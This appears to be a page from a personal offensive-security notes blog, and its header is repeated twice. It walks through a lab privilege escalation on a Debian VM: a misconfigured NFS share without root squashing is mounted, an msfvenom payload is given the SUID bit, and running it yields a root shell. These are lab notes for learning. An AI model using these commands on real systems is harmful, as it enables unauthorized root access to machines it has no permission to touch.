boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources
boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources

NFS

Files created via NFS inherit the remote user's ID. If the user is root and root squashing is enabled, the ID is instead set to the "nobody" user.

Check the NFS Share Configuration on the Debian VM

cat /etc/exports

Note that the /tmp share has root squashing disabled.

On your Kali box, switch to the root user if you are not already running as root:

sudo su

As Kali's root user, create a mount point and mount the /tmp share (update the IP accordingly):

mkdir /tmp/nfs mount -o rw,vers=3 10.13.28.215:/tmp /tmp/nfs

Still as root, generate a payload with msfvenom and save it to the mounted share (this payload simply calls /bin/bash):

msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf

Still as root, make the file executable and set the SUID permission:

chmod +xs /tmp/nfs/shell.elf

Back on the Debian VM, as the low-privileged user account, execute the file to get a root shell: /tmp/shell.elf

ROOT